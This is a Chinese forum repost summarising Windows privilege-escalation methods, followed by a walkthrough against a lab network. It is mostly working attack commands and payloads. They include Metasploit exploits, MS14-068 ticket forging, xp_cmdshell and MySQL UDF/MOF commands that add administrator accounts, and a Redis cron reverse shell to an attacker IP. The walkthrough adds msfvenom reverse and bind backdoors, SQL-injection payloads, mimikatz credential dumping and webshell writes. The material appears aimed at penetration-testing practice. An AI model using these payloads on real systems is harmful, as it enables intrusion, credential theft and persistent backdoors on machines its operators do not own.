安全矩阵

 找回密码
 立即注册
搜索
查看: 1882|回复: 0

windows提权小结及靶场实践

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2022-8-2 20:46:19 | 显示全部楼层 |阅读模式
windows提权小结及靶场实践
收录于合集 #渗透测试 免杀 红队 39个
windows提权小结及靶场实践
编辑
一、概述 1
二、漏洞提权 2
2.1 补丁收集 2
2.2 CVE-2020-0787 2
2.3 CVE-2018-8120 3
2.4 CVE-2019-0803 3
2.5 MS16-075(烂土豆) 4
2.6 MS14-068(域内提权) 5
三、数据库提权 7
3.1 Sql Server 7
3.2 Mysql 9
3.3 Redis 12
四、Windows特性 13
4.1 AT提权 13
4.2 进程注入提权 13
4.3 SC提权 13
4.4 PsExec提权 14
4.5令牌窃取 14
4.6不带引号的服务路径 15
4.7不安全的服务权限 16
4.8 Dll劫持 17
4.9 PrintSpoofer提权 17
4.10 GPP组策略首选项 17
五、第三方软件提权 19
5.1 Teamview 19
5.2 FileZilla 19
七、靶场实践 20
7.1子域名收集 20
7.2主机发现 21
7.3端口扫描 21
7.4 web漏洞测试 23
7.5内网横移 26
1**一、概述**
这次一起来小结下Windows常用提权方式,主要分为:漏洞提权、数据库提权、Windows特性提权、第三方软件提权等。由于小弟的能力还比较薄弱,文章尚有纰漏还请师傅海涵。
2**二、漏洞提权**
测试环境均在win7x64 sp1
2.1 补丁收集
当接收到会话后,可以使用msf自带的命令:
  • use post/multi/recon/local_exploit_suggester
    set SESSION 10
    run

编辑
同样也可以使用https://github.com/chroblert/WindowsVulnScan搜索系统缺失的补丁:
先运行其ps脚本得到系统中所打的补丁号:
编辑
python.exe .\check.py -u创建CVEKB数据库后,接着python.exe.\check.py -C -f .\KB.json查看操作系统打的补丁,以及存在可进行漏洞利用的公开EXP漏洞。
2.2 CVE-2020-0787
漏洞背景:BackgroundIntelligent TransferService(BITS)是其中的一个后台智能传输服务组件。BITS中存在提权漏洞,该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件,提升权限。
漏洞危害:影响windows全版本
漏洞验证:
编辑
2.3 CVE-2018-8120
漏洞背景:CVE-2018-8120是Windows操作系统Win32k的内核提权漏洞,Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。
漏洞危害:Windows7 SP1/2008 SP2,2008 R2 SP1
漏洞验证:
Msf集成了该漏洞的payload,当msf反弹会话后,执行下面命令


use exploit/windows/local/ms18_8120_win32k_privesc
set SESSION 10
exploit
编辑
因为是利用内核提权,可见返回的直接是system权限的会话。
2.4 CVE-2019-0803
漏洞背景:Win32k组件无法正确处理内存中的对象时,可导致特权提升。成功利用此漏洞的攻击者可以在内核模式中运行任意代码、安装任意程序、查看、更改或删除数据、或者创建拥有完全用户权限的新帐户。
漏洞危害:Windows7/8/10/2008/2012/2016
漏洞验证:
编辑
2.5 MS16-075**(烂土豆)**
漏洞背景:WindowsSMB 服务器特权提升漏洞,当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft服务器消息块 (SMB)中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
漏洞危害:windows2003/2008/7/8/2012
漏洞验证:
当msf反弹会话后,执行下面命令,使用烂土豆提权,一次不行用多次


use exploit/windows/local/ms16_075_reflection_juicy
set session 10
exploit
编辑
后续可以用令牌窃取或者getsystem命令获取到system权限:
编辑
2.6 MS14-068**(域内提权)**
漏洞背景:MS14-068这个漏洞是位于kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的Windows 漏洞,它允许经过身份验证的用户在其获得的票证TGT 中插入任意的PAC 。普通用户可以通过呈现具有改变了PAC 的 TGT来伪造票据获得管理员权限。
攻击者要利用 MS14-068这个漏洞提权时,需要掌握下面几个信息:
•域内任意用户SID
•域内任意用户密码
漏洞危害:windows2003/2008/2012/7/8
漏洞验证:
先用whoami/user查看当前用户sid
编辑
Kerberos::purge或klistpurge先清空当前机器中的所有凭证:
编辑
利用MS14-068生成相应凭证:


MS14-068.exe -u c@test.com -sS-1-5-21-2273191065-1635484360-3888421177-1105 -d 192.168.202.148 -pc@zxcvbnm123
编辑
使用mimikatz将票据注入内存:


Kerberos::ptc "TGT_c@test.com.ccache"
编辑
编辑
后续利用:
编辑
3**三、数据库提权**
3.1 Sql Server
Xp_cmdshell**提权**
Xp_cmdshell扩展时可以执行系统命令的,而sqlserver默认就是system权限,这是我们能利用其提权的原因。默认sa支持外连。
判断权限是不是sa selectis_srvrolemember('sysadmin')
判断xp_cmdshell扩展存储是否存在


select count(*) from master.dbo.sysobjects where xtype = 'x' AND name='xp_cmdshell'
判断xp_regread扩展存储过程是否存在


select count(*) from master.dbo.sysobjects where name='xp_regread'
开启xp_cmdshell



exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell



execsp_configure 'show advanced options', 1;reconfigure;execsp_configure 'xp_cmdshell', 0;reconfigure
提权



exec master..xp_cmdshell 'net user test qwea123. /add'  添加用户test,密码testexec master..xp_cmdshell 'net localgroup administrators test add'  添加test用户到管理员组
编辑
sp_oacreate**提权**
sp_oacreate提权主要调用了OLE对象的run方法执行了系统命令。Mssql之后的版本先要开启。
开启



execsp_configure 'show advanced options',1;reconfigure;execsp_configure 'ole automation procedures',1; reconfigure;
关闭




execsp_configure 'show advanced options',1;reconfigure;execsp_configure 'ole automation procedures',0;reconfigure;execsp_configure 'show advanced options',0;reconfig
ure;
执行命令




declare@shell intexecsp_oacreate 'wscript.shell', @shell outputexecsp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe /c "netuser test qwea123. /add" '
编辑
沙盒提权:


execsp_configure 'show advanced options',1;reconfigure;
--不开启的话在执行xp_regwrite会提示让我们开启,
execsp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。


execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。


execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'
--执行系统命令


select * fromopenrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','selectshell("net user test3 qwea123. /add")')
3.2 Mysql
UDF**提权**
udf= ‘user definedfunction’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,其提权原理,利用了root高权限,创建带有调用cmd的函数的udf.dll动态链接库,可以通过以下几种方法得到root密码:
读取网站数据库配置文件
读取数据库存储或备份文件
暴力破解,root默认不支持外连就要上传脚本到服务器爆破
使用UDF提权先要知道MySql对应的版本:selectversion()
Mysql< 5.1 导出目录c:/windows或system32
Mysql=> 5.1 导出目录/lib/plugin/
目录可以手工创建,也可以使用NTFS流创建:select‘x’ into dumpfile ‘数据库目录/lib/plugin::INDEX_ALLLOCATION‘
查看数据库安装目录:Select@@basedir
查看MySQL版本:selectversion();
查看MySQL的插件目录:select@@plugin_dir;
创建lib目录:select'it is dll' into dumpfile 'c:\program files\mysql\mysql server5.1\lib:INDEX_ALLOCATION';
创建plugin目录:


select'it is dll' into dumpfile 'c:\program files\mysql\mysql server5.1\plugin:INDEX_ALLOCATION';
创建udf.dll


select unhex('hex_of_udf.dll') into dumpfile "c:\programfiles\mysql\mysql server 5.1\plugin\udf.dll";
php文件已集成了相关导出功能,点击导出即可:
编辑
编辑
创建函数:createfunction sys_eval returns string soname 'udf.dll';
编辑
执行shell命令:selectsys_eval('net user');
编辑
MOF**提权**
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。MOF提权的原理就是当拥有mysql的root权限了以后,然后使用sql语句将系统当中默认的nullevt.mof给替换掉,进而让系统执行我们这个恶意的mof文件。
替换的sql语句:selectload_file('D:\wamp\my.mof') into dumpfile'c:/windows/system32/wbem/mof/nullevt.mof';
mof文件代码如下所示:




#pragmanamespace("\\.\root\subscription")  instanceof EventFilter as $EventFilter{EventNamespace = "Root\Cimv2";Name = "filtP2";Query = "Select * From InstanceModificationEvent ""Where TargetInstance Isa "Win32_LocalTime" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};instanceof ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = newActiveXObject("WScript.Shell")\nWSH.run("net.exeuser admin admin /add")";};instanceof __FilterToConsumerBinding{Consumer  = $Consumer;Filter = $EventFilter;};
有可能权限不够文件写入c:/windows/system32/目录失败,或者被防护软件拦截等情况出现。
启动项提权
导出自定义可执行文件到启动目录配合重启执行
先执行sql语句开启root外连:
GRANTALL PRIVILEGES ON . TO root@"%" IDENTIFIED BY "root";
flushprivileges;
Msf使用内置的windows/mysql/mysql_start_sql模块,连接数据库,把后门写入服务器启动项:
useexploit/windows/mysql/mysql_start_up
setrhosts 192.168.202.1
setusername root
setpassword root
注意:mysql5.7导出数据提示--secure-file-priv选项问题,查看secure_file_priv的值,默认为NULL,表示限制不能导入导出,而secure_file_priv参数是只读参数,不能使用setglobal命令修改。所以我们需要打开my.cnf或 my.ini,加入以下语句后重启mysql。
secure_file_priv=''
没有值时,表示不限制mysqld在任意目录的导入导出。
编辑
编辑
3.3 Redis
未授权访问漏洞
Redis未授权访问是由于自身配置不当所造成的,没有配置指定ip登录远程登录密码为空等,可以通过绑定数据库访问的ip、设置数据库访问的密码、修改数据库服务运行账户的权限修补。
其漏洞利用方法也有好几种,可以利用计划任务来反弹一个shell:
先在自己的服务器上监听一个端口:
nc-lvnp 7999
利用计划任务执行命令反弹shell,依次执行以下命令反弹得到系统权限:



redis-cli-h 192.168.63.130setx "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/79990>&1\n"configset dir /var/spool/cron/configset dbfilename rootsave
再用crontab-l 查看root用户下的crontab任务。
同样可以通过通过漏洞写入文件,当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell:


config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

4**四、Windows特性**
4.1 AT**提权**
这个特性只在windowsserver 2003、windowsxp有效(有点古老了),在系统cmd窗口输入at12:00 /interactive cmd.exe新建计划任务,到特点时间点系统以system身份自动执行该任务。
4.2 进程注入提权
这个特性只在windowsserver 2003、windowsxp有效(同样有点古老了),利用的是注入进程的所有者权限共享机制。使用pinjector.exe-l 查看可注入的进程,再执行pinjector.exe-p 注入PID cmd监听端口号,在kali执行nc监听即可。
4.3 SC**提权**
这个特性只在windowsserver 2003、windowsxp有效,win7需要管理员权限才能添加作业(约等于没用)。
sc Create systemcmd binPath= "cmd /K start" type= own type=interact
编辑
Sc start systemcmd
编辑
编辑
4.4 PsExec**提权**
此特性在win7、windowsserver 2003、2008有效
PsExec.exe /accepteula /s \127.0.0.1 cmd /c "whoami"
编辑
4.5**令牌窃取**
令牌窃取可以在windowsserver 2008\2003、windows7\xp运行。令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。当用户登录时,系统通过将用户密码与安全数据库中存储的信息进行比较来验证用户密码。如果密码通过身份验证,则系统将生成访问令牌。该用户执行的每个进程都有此访问令牌的副本。
Windows的令牌有两种:
1、Delegationtoken(授权令牌):用于交互会话登录,例如远程桌面
2、Impersonationtoken(模拟令牌):用于非交互登录,例如dir远程主机的文c$
攻击者必须已经在特权用户上下文(即管理员)中才能窃取令牌,也就是说需要bypassuac。攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则可以使用令牌作为该令牌的帐户向远程系统进行身份验证。
窃取令牌背后实现是分以下几步:
1、我们需要是管理员,如果不是,可以使用bypassuac、烂土豆等技术进行提权。
2、复制访问令牌的进程需要启用SeDebugPrivilege 权限。
3、使用 OpenProcess函数获取具有 SYSTEM权限的进程句柄。
4、使用OpenProcessToken 函数获取该进程的令牌句柄。
5、使用DuplicateTokenEx 函数对令牌进程复制。
6、通过CreateProcessWithToken 函数用复制的令牌创建新的进程,该进程成为拥有SYSTEM 权限的进程。
下面具体操作:



msfvenom -p windows/meterpreter/reverse_http lhost=192.168.202.131 lport=22222-f exe -o h4.exe //生成exe
use exploit/multi/handler //建立监听
set payload windows/meterpreter/reverse_http
set lport 22222
set lhost 192.168.202.131
use incognito
list_tokens -u  获取用户Token

上面为交互登录Token,可见没有bypassuac的情况下是没有system的,下面为非交互登录会话Token
编辑
use exploit/windows/local/bypassuac
set session 5
编辑
impersonate_token“NT AUTHORITY\SYSTEM” 进行令牌假冒
编辑
4.6**不带引号的服务路径**
当windows服务中的路径没有被引号包含,则操作系统会执行空格分割后服务路径的前一部分。所以我们可以构造并上传路径名称的文件,然后重启服务,达到提权母的。
先输入命令检测不带引号的服务路径:


wmicservice get name,displayname,pathname,startmode |findstr /i "Auto"|findstr /i /v "C:\Windows\" |findstr /i /v """
编辑
可见第一个是没有空格,没有问题,mytest3则有问题。
我们在c盘下,新建文件,并新建cmd窗口执行C:\ProgramFiles\cmd.exe,则执行到Program.exe文件
编辑
编辑
4.7**不安全的服务权限**
由于服务配置管理的错误,用户对服务拥有过多的权限,有可能直接修改服务中的执行文件。可使用accesschk.exe查找特定用户可修改的服务:
accesschk.exe -uwcqv “qqqq” *
编辑
使用sc指令修改并重启服务



sc config "mytest" binpath= “C:\ccc.exe”sc start "mytest"
4.8 Dll**劫持**
Lpk提权就是Dll劫持的一种,主要原理就是利用所执行的exe程序优先加载同目录下的dll,且没有对其加载的dll进行验证,具体演示在之前钓鱼文章中:
攻击者需要dll劫持提权满足以下三个点:
1、系统中存在dll劫持的exe程序
2、当前权限能替换exe程序同目录中的dll文件
3、管理员权限去执行该exe程序
4.9 PrintSpoofer**提权**
使用PrintSpoofer工具提权的原理是,当我们具有了SeAssignPrimaryTokenPrivilege或SeImpersonatePrivilege特权时,可以通过上述这两个特权,在其他用户的上下文中运行代码,甚至创建新的进程,那就意味着能具有SYSTEM权限:
编辑
上图是当getshell后,whoami\all查看当前拥有了SeImpersonatePrivilege的特权,我们就可以调用CreateProcessWithToken(),使其创建新进程并拥有SYSTEM权限,而PrintSpoofer就是这样的一款开源工具,如下图所示:
编辑
或者当前拥有SeAssignPrimaryTokenPrivilege特权时,就可以调用CreateProcessAsUser(),也同样有上述效果。
4.10 GPP**组策略首选项**
SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。所有域组策略都存储在这里:\<DOMAIN>\SYSVOL<DOMAIN>\Policies\,SYSVOL是所有经过身份验证的用户具有读访问权限的ActiveDirectory中的域范围共享。
每台Windows主机有一个内置的Administrator账户以及相关联的密码。输入gpmc.msc打开组策略管理,然后新建组策略对象:
编辑
将域中本地计算机的用户名重命名,并重新设置密码:
编辑
访问:\test.com\SYSVOL\test.com\Policies{FF11D485-D5DA-48BC-9F6E-790B3A55D3B2}\Machine\Preferences\Groups\Groups.xml
当创建新的GPP时,在SYSVOL中创建了一个与相关配置数据相关联的XML文件,如果提供了密码,那么AES-256位加密应该足够强的。
编辑
5**五、第三方软件提权**
5.1 Teamview
CVE-2019-18988TeamViewer特权提升漏洞分析
通过14.7.1965的TeamViewerDesktop,可以绕过远程登录访问控制,因为同一密钥用于不同客户的安装。至少从v7.0.43148起,它就在所有安装中都使用了共享的AES密钥,并且在该产品的当前版本中至少将其用于OptionsPasswordAES。如果攻击者知道此密钥,则他们可以解密存储在TeamViewer注册表或配置文件中的保护信息。在v9.x之前的版本中,这使攻击者可以解密系统的无人参与访问密码(这允许远程登录系统以及浏览无头文件)。最新版本的OptionPasswordAES仍使用相同的密钥,但似乎已更改了无人参与访问密码的存储方式。
以下两个链接师傅复现和分析得很详细(膜:
CVE-2020-13699
TeamViewer存在未引用的搜索路径或元素的安全缺陷,更具体地说,这是由于应用程序没有正确引用它的自定义URI处理程序,当安装了TeamViewer的易受攻击版本的系统访问恶意创建的网站时,可能会被利用。
攻击者可以使用精心制作的URL(iframesrc='teamviewer10:--play\attacker-IP\share\fake.tvs')将恶意iframe嵌入网站中,这将启动TeamViewerWindows桌面客户端并强制其执行以下操作:打开远程SMB共享。Windows在打开SMB共享时将执行NTLM身份验证,并且可以将请求进行转发(使用诸如响应程序之类的工具)以执行代码(或捕获以进行哈希破解)。
5.2 FileZilla
FileZilla是一个ftp服务器,启动时默认时SYSTEM权限,假如相关目录权限配置不严,可以在xml文件中读取到server的密码,得到密码后登录server再对setch.exe进行替换,从而实现shift粘滞键后门.
编辑
编辑
七、靶场实践
下面我们靶场的拓扑图:
编辑
7.1**子域名收集**
我们可以通过主域名发test123.com收集更多的域名,从而获得更多的目标。子域名收集的工具很多layer、subDomainBrute,这里使用kali自带的wfuzz收集子域名,以下为开源地址https://github.com/xmendez/wfuzz


wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -uwww.test123.com -H "Host:FUZZ.test123.com" --hw 53
-H指定UserAgent,FUZZ的位置在host里,原因是Host 请求头决定访问哪个虚拟主机
--hw以指定的返字数作为判断条件隐藏返回结果
编辑
得到以下三个域名:
net.test123.com
cms.test123.com
然后通过nslookup查询域名对应的ip(没cdn的情况下)
编辑
7.2**主机发现**
先进行主机发现,方法有许多,分别是基于层面和工具上的不同:
1、使用netdiscover
sudonetdiscover -i eth0 -r 192.168.202.0/24
专用的二层发现工具。拥有主动和被动发现两种方式。
常用参数:
-i:网卡选择你监控的网卡。比如eth0
-r:range指定IP段。比如192.168.0.0/24
-l:filename从文件读取range列表
-p被动模式。默默的侦听指定的网卡以发现别的二层主机
-tARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
-c发包数量
2**、使用nmap**
nmap-v -sP 192.168.202.0/24
以上参数:
-sP、ICMP扫描:类似于ping检测,快速判断目标主机是否存活,不做其他扫描
编辑
3、使用系统自带ping(速度稍慢)
for/L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=”
fping-g 10.10.10.0/24
7.3**端口扫描**
对所发现的主机进行端口扫描,同样也有不同工具来进行端口扫描:
nmap -sS -p 1-65535 -v 192.168.202.182 以上参数: -P  指定端口扫描   
-V   详细信息     
-sS、TCPSYN扫描(半开扫描):只向目标发出SYN数据包,如果收到SYN/ACK响应包就认为目标端口正在监听,并立即断开连接;否则认为目标端口并未开放。
-sT、TCP连接扫描:这是完整的TCP扫描方式,用来建立一个TCP连接,如果成功则认为目标端口正在监听服务,否则认为目标端口并未开放。
-sF、TCPFIN扫描:开放的端口会忽略这种数据包,关闭的端口会回应RST数据包。许多防火墙只对SYN数据包进行简单过滤,而忽略了其他形式的TCP攻击包。这种类型的扫描可间接检测防火墙的健壮性。
-sU、UDP扫描:探测目标主机提供哪些UDP服务,UDP扫描的速度会比较慢。
编辑
sudo masscan -p 1-65535 192.168.202.182--rate=1000
常用参数:
-p<ports,--ports <ports>> 指定端口进行扫描
--banners获取banner信息,支持少量的协议
--rate<packets-per-second> 指定发包的速率,默认的速率是100包/秒
识别对应的端口


nmap-sC -A 192.168.202.182 -p 80,53,49154,6588,3389,135,21,51464,999
-sC:等价于–script=default,使用默认类别的脚本进行扫描可更换其他类别
-A综合扫描,包含1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测
编辑
可见有3个http服务的端口打开,web服务器为IIS7.5,分别对其进行访问:
编辑
编辑
编辑
7.4 web**漏洞测试**
第一个域名:cms.test123.com,很明显是dedecms,
编辑
再确定是否能注册,并查找该版本存在相关注入漏洞(相关漏洞原理后面会再详写),进行漏洞利用得到管理员密码hash:
该漏洞是由于由于dedecms使用伪全局变量原因,可导致用户构造任意的sql语句,造成注入。
相关payload使用时间盲注查询amdin密码:s=target+"/member


/mtypes.php?dopost=save&FILESmtypename=.xxxx&FILESmtypename=xxxxx&FILESmtypename[a'%20and%20'.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&FILESmtypename=.xxxx"
编辑
详细漏洞分析可参考:Dedecms20150618 注入 ·Manning23
密码破解得admin7788,然后登上后台,上传一句话并连接:
编辑
编辑
可见一句话木马权限不够,传上asp大马,再执行相关命令:
编辑
使用msf工具集生成相关后门,


msfvenom -p windows/meterpreter/reverse_http lhost=192.168.202.180 lport=33444-f exe -o h33444.exe
,并设置监听:
编辑
先用asp扫描可执行的相关目录,然后上传msf后门到相应目录:
编辑
编辑
编辑
使用msf自带的post/multi/recon/local_exploit_suggester模块进行漏洞查找,然后利用ms_075进行提权useexploit/windows/local/ms16_075_reflection_juicy
编辑
继续进行基本的信息收集,ipconfig:
编辑
执行runget_local_subnets,存在两个网段:
编辑
run autoroute -s 10.10.10.0/24
run autoroute -d -s 10.10.10.0/24 //删除网段
route add 内网ip子网掩码 session的id
route print 查看设置后的网段
编辑
执行runpost/windows/gather/smart_hashdump命令获得系统内用户的hash值,以便用于hash传递:
编辑
Migrate迁移进程后,Loadkiwi加载mimiatz,kiwi_cmdsekurlsa::logonpasswords尝试使用其获取明文:
编辑
7.5**内网横移**
启动socks代理,sudovim /etc/proxychains.conf 修改proxychains配置文件,对10.10.10.0\24进行主机发现:
useauxiliary/server/socks_proxy
set srvport 22222
run
编辑
编辑


proxychains fping -g 10.10.10.0/24
编辑
对所发现的IP进行端口扫描:


proxychains nmap -sC -A 10.10.10.143 -p80,53,1433,49154,6588,3389,135,21,51464,999
编辑
对所发现的主机进行ipc连接,报错1326用户名或密码错误:


netuse \10.10.10.139\ipc$ "!@#Qwe123."/user:"localhost\administrator”
编辑
编辑
翻看net.test123.com网站的目录可以找到其数据库的用户和密码:
编辑
10.10.10.143开启了1433端口,有mssql服务,可以使用上述密码登录服务器,也可以对net.test123.com进行子目录爆破,得到后台路径:http://net.test123.com/admin/index,再对后台进行相应挖掘:
编辑
显然后台登录表单username存在注入:
编辑
我们可以先进行相关判断,再通过其添加系统用户:
判断是不是dba权限(延时后返回正确页面,确定为dba权限<也可用sqlmap的–is-dba判断>)
admin';if(1=(selectis_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';--
判断是否是站库分离(延时后返回正确页面,确定站库没有分离)
admin';if(host_name()=@@servername)WAITFOR DELAY '0:0:5';--
查看是否有xp_cmdshell:
admin';if(1=(selectcount(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell')) WAITFOR DELAY '0:0:2'--
恢复/删除xp_cmdshell
execsp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
execsp_dropextendedproc 'xplog70.dll'
先开启xp_cmdshell:
execsp_configure 'show advanced options', 1;reconfigure;
execsp_configure 'xp_cmdshell',1;reconfigure;
添加用户test,并添加test用户到管理员组
execmaster..xp_cmdshell 'net user test 123. /add'
execmaster..xp_cmdshell 'net localgroup administrators test add'
编辑
也可以通过注入用sqlmap进行getshell:
编辑
爆出相关库:sqlmap-r post --dbms mssql -v 1 --dbs --batch
编辑
Msf生成bind.exe正向后门:
msfvenom-p windows/meterpreter/bind_tcp lport=13777 -f exe -o hb.exe
用aspx文件上传bind.exe,并调用exec执行:
编辑
编辑
Msf执行相应命令进行连接:





use exploit/multi/handlerset payload windows/meterpreter/bind_tcpset RHOST 10.10.10.143set lport 13777
编辑
同样Migrate迁移进程后,Loadkiwi加载mimiatz,kiwi_cmdsekurlsa::logonpasswords尝试使用其获取明文:
编辑
添加路由:run autoroute -s 10.10.1.0/24
编辑
启动socks代理,配置proxychains配置文件,对10.10.1.0\24进行主机发现:




use auxiliary/server/socks_proxyset srvport 33333run
编辑
得到明文和hash后我们可以通过ipc连接进行横向:


net use \10.10.1.142\ipc$ "!@#QWEasd123."/user:"localhost\administrator”
编辑
使用代理


proxychains nmap -sC -A 10.10.1.142 -p80,53,1433,49154,6588,3389,135,21,51464,999
进行扫描端口:
编辑
浏览器设置socks代理后,查看10.10.1.142网站主页,发现其phpstudy版本存在后门可以进行利用:
编辑
Phpstudy漏洞利用:


'echo ^<?php @eval($_POST["shell"])?^>>C:\phpStudy\WWW\shell.php'
蚁剑设置socks代理为kali的33333端口,进行连接:
编辑
蚁剑执行msf的bind后门,msf进行正向连接:
编辑
三台机子的权限均到手。
参考:
内网安全攻防
6**关注**
觉得本文不错 记得 分享 点赞 给作者加油
本公众号长期更新安全类文章和视频
欢迎扫一扫关注
编辑
预览时标签不可点
收录于合集 #
上一篇 下一篇
编辑
微信扫一扫 关注该公众号
[url=]知道了[/url]
编辑
微信扫一扫 使用小程序
[url=]取消[/url] [url=]允许[/url]
[url=]取消[/url] [url=]允许[/url]
: , 。  视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 20:56 , Processed in 0.020031 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表